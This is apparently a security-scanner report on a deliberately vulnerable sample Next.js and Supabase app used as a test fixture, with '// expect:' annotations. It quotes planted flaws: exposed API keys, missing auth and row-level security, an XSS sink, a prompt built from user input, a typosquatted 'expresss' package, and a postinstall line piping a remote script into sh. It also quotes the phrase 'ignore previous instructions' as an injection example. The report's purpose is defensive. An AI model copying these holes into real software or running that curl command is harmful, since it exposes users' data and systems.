vibeaudit report
/home/runner/work/vibeaudit/vibeaudit/sample/vuln_next_supabase - 19 files - vibeaudit 0.9.1
Stack: OpenAI SDK, Next.js, React, Supabase, Prisma
Score0/100Grade F
Critical6
High16
Medium14
Low9
Security0of 100
AI74of 100
Quality86of 100
Data71of 100
Reliability100of 100
UI99of 100
Note: Offline: known vulnerabilities of npm packages were not checked (import a bundle made with `vibeaudit update --export FILE --osv ...`).
critical FE002 LLM or secret API called directly from the browser (Frontend security)
components/Chat.tsx:8
dangerouslyAllowBrowser: true ships the API key to the browser.
const openai = new OpenAI({ apiKey: process.env.NEXT_PUBLIC_OPENAI_API_KEY, dangerouslyAllowBrowser: true }); // expect: FE002, SEC008
- Why it matters
- Calling OpenAI, Anthropic, Gemini and similar APIs from client code ships the API key to every visitor, who can then run up your bill or abuse the account.
- Fix
- Call the provider from a server route or edge function that holds the key, and have the browser call your own endpoint (with auth and rate limiting).
- References
- CWE-522, LLM02:2025
critical SEC008 Secret exposed to the browser through a public env var (Secrets)
.env.example:2
NEXT_PUBLIC_OPENAI_API_KEY is a public (browser-exposed) variable but holds a secret.
NEXT_PUBLIC_OPENAI_API_KEY=your-key-here # expect: SEC008
- Why it matters
- Variables prefixed NEXT_PUBLIC_, VITE_, REACT_APP_, EXPO_PUBLIC_, NUXT_PUBLIC_, PUBLIC_ or GATSBY_ are copied into the JavaScript bundle that every visitor downloads. A secret here is public.
- Fix
- Rename the variable without the public prefix, use it only in server code (API route, server action, edge function), and rotate the key because it has already shipped.
- References
- CWE-200, A01:2021
critical SEC001 Hardcoded API key or access token (Secrets)
.env.local:1
OpenAI API key committed in source.
NEXT_PUBLIC_OPENAI_API_KEY=sk-p************mN # expect: SEC001, SEC008
- Why it matters
- A real credential is committed in source. Anyone with read access to the repo, a fork, a build log or the shipped bundle can use it, and bots scrape public repos for keys within minutes.
- Fix
- Revoke and rotate the key now (deleting it from the file does not remove it from git history). Load it from an environment variable or a secret manager on the server only.
- References
- CWE-798, A07:2021
critical SEC008 Secret exposed to the browser through a public env var (Secrets)
.env.local:1
NEXT_PUBLIC_OPENAI_API_KEY is a public (browser-exposed) variable but holds a secret.
NEXT_PUBLIC_OPENAI_API_KEY=sk-proj-5fG7hJ9kL2mN4pQ6rS8tUaB3dE5fG7hJ9kL2mN4pQ6rS8tUaB3dE5fG7hJ9kL2mN # expect: SEC001, SEC008
- Why it matters
- Variables prefixed NEXT_PUBLIC_, VITE_, REACT_APP_, EXPO_PUBLIC_, NUXT_PUBLIC_, PUBLIC_ or GATSBY_ are copied into the JavaScript bundle that every visitor downloads. A secret here is public.
- Fix
- Rename the variable without the public prefix, use it only in server code (API route, server action, edge function), and rotate the key because it has already shipped.
- References
- CWE-200, A01:2021
critical SEC009 Supabase service_role key outside the server (Secrets)
.env.local:2
Supabase service_role JWT committed in source.
SUPABASE_SERVICE_ROLE_KEY=eyJh************ZQ # expect: SEC009
- Why it matters
- The service_role key bypasses every Row Level Security policy. In client code or the repo it gives anyone full read and write access to the whole database.
- Fix
- Use only the anon key in the browser. Keep service_role in server-only env vars, rotate it in the Supabase dashboard, and move privileged queries to an API route or edge function.
- References
- CWE-798, A01:2021
critical SEC008 Secret exposed to the browser through a public env var (Secrets)
components/Chat.tsx:8
NEXT_PUBLIC_OPENAI_API_KEY is a public (browser-exposed) variable but holds a secret.
const openai = new OpenAI({ apiKey: process.env.NEXT_PUBLIC_OPENAI_API_KEY, dangerouslyAllowBrowser: true }); // expect: FE002, SEC008
- Why it matters
- Variables prefixed NEXT_PUBLIC_, VITE_, REACT_APP_, EXPO_PUBLIC_, NUXT_PUBLIC_, PUBLIC_ or GATSBY_ are copied into the JavaScript bundle that every visitor downloads. A secret here is public.
- Fix
- Rename the variable without the public prefix, use it only in server code (API route, server action, edge function), and rotate the key because it has already shipped.
- References
- CWE-200, A01:2021
high AUTH001 State-changing endpoint without authentication (Authentication and authorization)
app/actions.ts:4
POST server action deletePost has no authentication check.
export async function deletePost(id: string) { // expect: AUTH001
- Why it matters
- This endpoint creates, changes or deletes data but no authentication check was found, so anyone on the internet can call it directly, whatever the UI shows.
- Fix
- Require a verified session or token in the handler (or in middleware that covers it). If the endpoint is meant to be public, add rate limiting and suppress the finding with a comment.
- References
- CWE-306, A01:2021
high AUTH002 Admin endpoint without a role check (Authentication and authorization)
app/api/admin/users/route.ts:5
DELETE /api/admin/users has no authentication or role check.
export async function DELETE(req: Request) { // expect: AUTH002
- Why it matters
- An /admin route that only checks that a user is logged in (or nothing at all) lets any user act as an administrator.
- Fix
- Check the user's role from the server-side session or database in the handler or middleware.
- References
- CWE-285, A01:2021
high AUTH001 State-changing endpoint without authentication (Authentication and authorization)
app/api/chat/route.ts:5
POST /api/chat has no authentication check.
export async function POST(req: Request) { // expect: AUTH001, LLM004, BE018
- Why it matters
- This endpoint creates, changes or deletes data but no authentication check was found, so anyone on the internet can call it directly, whatever the UI shows.
- Fix
- Require a verified session or token in the handler (or in middleware that covers it). If the endpoint is meant to be public, add rate limiting and suppress the finding with a comment.
- References
- CWE-306, A01:2021
high AUTH004 Webhook without signature verification (Authentication and authorization)
app/api/stripe/webhook/route.ts:1
Webhook /api/stripe/webhook does not verify the sender's signature.
export async function POST(req: Request) { // expect: AUTH004
- Why it matters
- Without verifying the provider's signature anyone can post fake events, for example marking an order as paid.
- Fix
- Verify the signature with the provider SDK (stripe.webhooks.constructEvent, svix, hmac compare) using the raw request body.
- References
- CWE-345, A08:2021
high AUTH006 Permissive Supabase policy (Authentication and authorization)
supabase/migrations/001_init.sql:6
Policy on public.profiles allows UPDATE for every row (true).
create policy "anyone can update" on public.profiles for update using (true); -- expect: AUTH006
- Why it matters
- A policy with `using (true)` or `with check (true)` for writes lets every user modify every row.
- Fix
- Scope the policy, for example `using (auth.uid() = user_id)`.
- References
- CWE-284, A01:2021
high AUTH005 Supabase table without Row Level Security (Authentication and authorization)
supabase/migrations/001_init.sql:8
Table public.orders is created without enabling Row Level Security.
create table public.orders ( -- expect: AUTH005
- Why it matters
- With RLS off, the public anon key (which ships in every Supabase frontend) can read and write the entire table.
- Fix
- Run `alter table <name> enable row level security;` and add policies that scope rows to `auth.uid()`.
- References
- CWE-284, A01:2021
high BE009 Mass assignment (Backend security)
app/api/profile/[id]/route.ts:8
Request data flows into a database write of the whole request body.
await db.profile.update({ where: { id: params.id }, data: body }); // expect: BE009
- Why it matters
- The whole request body is written into a database model, so a user can set fields like `role`, `is_admin` or `credits` by adding them to the request.
- Fix
- Copy only the allowed fields explicitly, or validate with a schema that whitelists fields.
- References
- CWE-915, A04:2021
high DATA002 Whole user record returned to the client (Data and database)
app/api/orders/route.ts:13
The whole `user` record (including password hashes or tokens) is returned without selecting fields.
const user = await prisma.user.findUnique({ where: { id: session.userId } }); // expect: DATA002
- Why it matters
- Returning the full user or account row sends every column to the browser, including password hashes, reset tokens, Stripe ids and other private fields.
- Fix
- Select only the fields the client needs (Prisma `select`, Mongoose projection, a response schema).
- References
- CWE-213, A01:2021
high DATA005 Private table readable by everyone (Data and database)
supabase/migrations/002_messages.sql:7
Everyone (including anonymous visitors) can read every row of `public.messages`.
create policy "read all" on public.messages for select using (true); -- expect: DATA005
- Why it matters
- A Supabase policy `for select using (true)` on a table that holds users, orders, messages or keys lets anyone with the public anon key read every row.
- Fix
- Scope the policy to the owner, for example `using (auth.uid() = user_id)`, or to `authenticated`.
- References
- CWE-284, A01:2021
high FE003 Authorization state kept in browser storage (Frontend security)
components/Chat.tsx:20
Authorization state is read from or written to browser storage.
localStorage.setItem("isAdmin", "false"); // expect: FE003
- Why it matters
- Roles, admin flags or plan limits read from localStorage/sessionStorage can be edited by any user in the dev tools.
- Fix
- Decide permissions on the server from the verified session, and treat client-side checks as display only.
- References
- CWE-602, A01:2021
high LLM004 LLM endpoint without rate limiting (LLM and AI-specific risks)
app/api/chat/route.ts:5
/api/chat calls a model and the project has no rate limiting.
export async function POST(req: Request) { // expect: AUTH001, LLM004, BE018
- Why it matters
- Anyone can call this endpoint in a loop and spend your model budget (denial of wallet), or use your app as a free LLM proxy.
- Fix
- Require auth and add per-user and per-IP rate limits and a spending cap on the provider account.
- References
- CWE-770, LLM10:2025
high LLM001 Untrusted input placed in the system prompt (LLM and AI-specific risks)
app/api/chat/route.ts:10
Request data is interpolated into the system prompt.
{ role: "system", content: `You are a support bot. The customer says: ${message}` }, // expect: LLM001
- Why it matters
- User text inside the system prompt gets system-level authority, which makes prompt injection trivial ("ignore previous instructions...").
- Fix
- Keep the system prompt constant. Put user content in a separate user message, clearly delimited, and never grant extra privileges based on it.
- References
- CWE-77, LLM01:2025
high QA006 Import of a file or name that does not exist (Code quality and tests)
lib/payments.ts:3
Import `./stripe-helpers` does not resolve to a file in the project.
import { chargeCard } from "./stripe-helpers"; // expect: QA006
- Why it matters
- The code imports a local module, file or function that is not in the project. Assistants invent helper names that sound right; the app crashes on start-up or when that code path runs.
- Fix
- Create the missing module or function, or import the one that actually exists.
- References
- CWE-1164
high QA006 Import of a file or name that does not exist (Code quality and tests)
lib/payments.ts:4
`formatTax` is imported from `./format` but that file does not export it.
import { formatPrice, formatTax } from "./format"; // expect: QA006
- Why it matters
- The code imports a local module, file or function that is not in the project. Assistants invent helper names that sound right; the app crashes on start-up or when that code path runs.
- Fix
- Create the missing module or function, or import the one that actually exists.
- References
- CWE-1164
high DEP006 Install script downloads and runs remote code (Dependencies and supply chain)
package.json:6
`postinstall` script downloads and executes remote code.
"postinstall": "curl -s https://setup.example.com/install.sh | sh"
- Why it matters
- An npm lifecycle script fetches code from the network at install time, which bypasses lockfiles and review.
- Fix
- Remove the script or vendor the downloaded file with a checksum.
- References
- CWE-494, A08:2021
high DEP002 Package name looks like a typo of a popular package (Dependencies and supply chain)
package.json:15
`expresss` is one character away from the popular package `express`.
"expresss": "4.19.2",
- Why it matters
- Typosquatted packages copy a popular name with one character changed and ship malware in install scripts.
- Fix
- Check the spelling against the official package. If this is the package you meant, suppress the finding.
- References
- CWE-1357, A06:2021
medium AUTH003 Possible insecure direct object reference (IDOR) (Authentication and authorization)
app/api/profile/[id]/route.ts:4
PATCH /api/profile/[id] changes a record by id without checking that it belongs to the caller.
export async function PATCH(req: Request, { params }: { params: { id: string } }) { // expect: AUTH003
- Why it matters
- The handler changes a record by the id in the URL but never compares it with the current user, so any logged-in user can change anyone's data by changing the id.
- Fix
- Scope the query by owner (`where id = ? and user_id = current_user.id`) or check ownership before writing.
- References
- CWE-639, A01:2021
medium BE018 No server-side input validation (Backend security)
app/api/chat/route.ts:5
Request bodies are read without a server-side validation library. Validation exists only in browser code (components/Chat.tsx).
export async function POST(req: Request) { // expect: AUTH001, LLM004, BE018
- Why it matters
- The backend reads request bodies but no validation library is used on the server. Validation done only in the browser is bypassed by calling the API directly.
- Fix
- Validate every request body on the server with a schema (zod, valibot, joi, pydantic, marshmallow): types, lengths, ranges and allowed fields.
- References
- CWE-602, A04:2021
medium API002 Frontend calls an API route with the wrong method (Frontend-backend contracts)
lib/client.ts:6
GET `/api/orders` is sent, but app/api/orders/route.ts only handles POST.
return fetch("/api/orders"); // expect: API002
- Why it matters
- The route exists but does not accept this HTTP method, so the request fails with 405 (or reaches a different handler than intended).
- Fix
- Send the method the route handles, or add a handler for this method.
medium API001 Frontend calls an API path that no route handles (Frontend-backend contracts)
lib/client.ts:10
`/api/settings` is called here, but no route in the project handles it.
return fetch("/api/settings"); // expect: API001
- Why it matters
- The browser code requests a path that no backend route in this project serves, so the request always fails with 404: often a renamed route or a route the model forgot to write.
- Fix
- Create the route, or fix the path in the call.
medium DATA008 Database client created per request (Data and database)
app/api/orders/route.ts:7
A PrismaClient is created inside a function; each call opens new connections.
const prisma = new PrismaClient(); // expect: DATA008
- Why it matters
- Creating a client, pool or engine inside a handler opens new connections on every request and exhausts the database's connection limit under load.
- Fix
- Create one client at module level (and reuse it via globalThis in Next.js development).
- References
- CWE-400
medium DATA001 Database query inside a loop (N+1) (Data and database)
app/api/orders/route.ts:10
Database call runs once per loop iteration.
await prisma.product.update({ where: { id: item.id }, data: { stock: { decrement: 1 } } }); // expect: DATA001
- Why it matters
- One query per item turns a page with 100 rows into 101 round trips: slow pages, timeouts and database load that grows with your data.
- Fix
- Fetch everything in one query (IN / join / include / select_related / prefetch_related) or batch the writes (createMany, bulk_create, executemany).
- References
- CWE-1050
medium DATA004 Money stored as a floating-point number (Data and database)
prisma/schema.prisma:9
Field `price` stores money as Float.
price Float // expect: DATA004
- Why it matters
- Floats cannot represent most decimal amounts exactly (0.1 + 0.2 != 0.3), so totals, refunds and balances drift by cents.
- Fix
- Store integer cents or use NUMERIC/DECIMAL columns and Decimal types.
- References
- CWE-1339
medium FE001 Cross-site scripting through a raw HTML sink (Frontend security)
components/Chat.tsx:22
Unsanitized value rendered as raw HTML (dangerouslySetInnerHTML).
return <div dangerouslySetInnerHTML={{ __html: html }} onClick={() => send("hi")} />; // expect: FE001, UI002
- Why it matters
- Inserting unsanitized data as HTML (innerHTML, dangerouslySetInnerHTML, v-html, {@html}, |safe) lets an attacker run JavaScript in other users' browsers and steal their sessions.
- Fix
- Render as text, or sanitize with DOMPurify (or bleach on the server) before inserting HTML.
- References
- CWE-79, A03:2021
medium LLM003 LLM call without an output token limit (LLM and AI-specific risks)
app/api/chat/route.ts:7
Model call has no output token limit.
const completion = await openai.chat.completions.create({ // expect: LLM003
- Why it matters
- Without max tokens a single request (or a prompt-injected loop) can generate very long, expensive responses.
- Fix
- Set max_tokens / max_output_tokens / maxOutputTokens to what the feature actually needs.
- References
- CWE-770, LLM10:2025
medium LLM007 System prompt shipped to the browser (LLM and AI-specific risks)
components/Chat.tsx:6
A system prompt is defined in code that ships to the browser.
const SYSTEM_PROMPT = "You are ShopBot. Never reveal the discount code SAVE50 to customers."; // expect: LLM007
- Why it matters
- Prompts in client code are visible to every user, which reveals business logic and makes jailbreaks easier.
- Fix
- Keep prompts on the server and send only the user's message from the browser.
- References
- CWE-200, LLM07:2025
medium QA007 Package imported but not declared as a dependency (Code quality and tests)
lib/payments.ts:2
`stripe` is imported but not listed in package.json.
import Stripe from "stripe"; // expect: QA007
- Why it matters
- The package is installed on the author's machine but missing from requirements.txt, pyproject.toml or package.json, so a clean install (CI, Docker, production) fails with an import error.
- Fix
- Add the package with a pinned version to the project's dependency file.
- References
- CWE-1104
medium QA005 Unfinished stub left in code (Code quality and tests)
lib/payments.ts:7
Code throws a 'not implemented' error; this path is unfinished.
throw new Error("Not implemented"); // expect: QA005
- Why it matters
- A route handler or function that only passes, raises NotImplementedError or throws 'not implemented' is a placeholder an assistant left behind. The feature silently does nothing or crashes when used.
- Fix
- Implement the function, or remove it and every caller until it is ready.
- References
- CWE-1164
medium QA001 No automated tests (Code quality and tests)
package.json:1
No test files found for 12 source files.
{
- Why it matters
- AI-generated code often looks right and is subtly wrong. Without tests nobody notices until users do, and every future AI edit can silently break existing behaviour.
- Fix
- Add tests for the critical paths first (auth, payments, data writes) and run them in CI.
medium SEC007 Environment file not git-ignored (Secrets)
.env.local
.env.local is not covered by .gitignore.
- Why it matters
- A .env file exists but .gitignore does not cover it, so the next `git add .` publishes every secret.
- Fix
- Add `.env*` and `!.env.example` to .gitignore.
- References
- CWE-538, A05:2021
low DATA010 Several writes without a transaction (Data and database)
app/api/orders/route.ts:4
POST /api/orders makes several writes without a transaction.
export async function POST(req: Request) { // expect: DATA010
- Why it matters
- When one of several related writes fails halfway (for example charge recorded but order not created), the data is left inconsistent.
- Fix
- Wrap related writes in a transaction (prisma.$transaction, db.transaction, BEGIN/COMMIT).
- References
- CWE-662
low DATA007 Environment variable missing from the example env file (Data and database)
app/api/orders/route.ts:14
`STRIPE_PRICE_ID` is read from the environment but is not in .env.example.
return Response.json({ user, plan: process.env.STRIPE_PRICE_ID }); // expect: DATA007
- Why it matters
- The code reads a variable that .env.example does not document, so the next deploy or teammate setup crashes or silently runs with a missing setting.
- Fix
- Add the variable (with a placeholder value) to .env.example.
low DATA012 Foreign key without an index (Data and database)
supabase/migrations/001_init.sql:10
Foreign key `orders.user_id` has no index: deletes in the referenced table scan `orders` and lock it.
user_id uuid references auth.users, -- expect: DATA012
- Why it matters
- Postgres does not index foreign key columns. Every delete or key update in the referenced table, and every join on the key, scans the referencing table; with ON DELETE CASCADE it also locks it.
- Fix
- Add an index on the foreign key column, for example `CREATE INDEX ON orders (user_id)`.
- References
- CWE-1050
low DATA006 Timestamp without time zone (Data and database)
supabase/migrations/002_messages.sql:4
Column `created_at` is a timestamp without time zone.
created_at timestamp default now() -- expect: DATA006
- Why it matters
- Naive datetimes and `timestamp without time zone` columns silently mix local and UTC times, which breaks expiry checks, schedules and reports across regions and daylight saving.
- Fix
- Use timezone-aware values: `datetime.now(timezone.utc)` and `timestamptz` columns.
low DATA003 Destructive database migration (Data and database)
supabase/migrations/002_messages.sql:8
Migration runs `DROP COLUMN`, which destroys data irreversibly.
alter table public.profiles drop column role; -- expect: DATA003
- Why it matters
- DROP TABLE, DROP COLUMN, TRUNCATE and column type changes destroy data and can lock big tables.
- Fix
- Back up first, deploy in steps (stop writing, copy, then drop) and keep a down migration.
low QA008 TypeScript checking disabled for a whole file (Code quality and tests)
lib/payments.ts:1
TypeScript type checking is disabled for this whole file.
// @ts-nocheck (expect: QA008)
- Why it matters
- `// @ts-nocheck` hides every type error in the file, including the ones that would catch broken AI edits.
- Fix
- Remove @ts-nocheck and fix or narrowly suppress the individual errors.
low QA002 No continuous integration (Code quality and tests)
package.json:1
No CI configuration found.
{
- Why it matters
- Without CI, tests and security checks only run when someone remembers to run them.
- Fix
- Add a CI workflow (for example GitHub Actions) that runs tests and `vibeaudit scan` on every push.
low DEP005 Dependencies are not locked (Dependencies and supply chain)
package.json:1
package.json has dependencies but no lockfile is committed.
{
- Why it matters
- Without a lockfile or pinned versions every install can pull a different, possibly compromised, version.
- Fix
- Commit a lockfile (package-lock.json, pnpm-lock.yaml, yarn.lock, uv.lock, poetry.lock) or pin exact versions in requirements.txt.
- References
- CWE-1357, A08:2021
low UI002 Click handler on a non-interactive element (UI, UX and accessibility)
components/Chat.tsx:22
<div onClick> cannot be reached or used with the keyboard.
return <div dangerouslySetInnerHTML={{ __html: html }} onClick={() => send("hi")} />; // expect: FE001, UI002
- Why it matters
- A div or span with onClick cannot be focused or triggered with the keyboard, so keyboard and screen-reader users cannot use it.
- Fix
- Use a <button> (or <a> for navigation); otherwise add role, tabIndex and an onKeyDown handler.
- References
- CWE-1078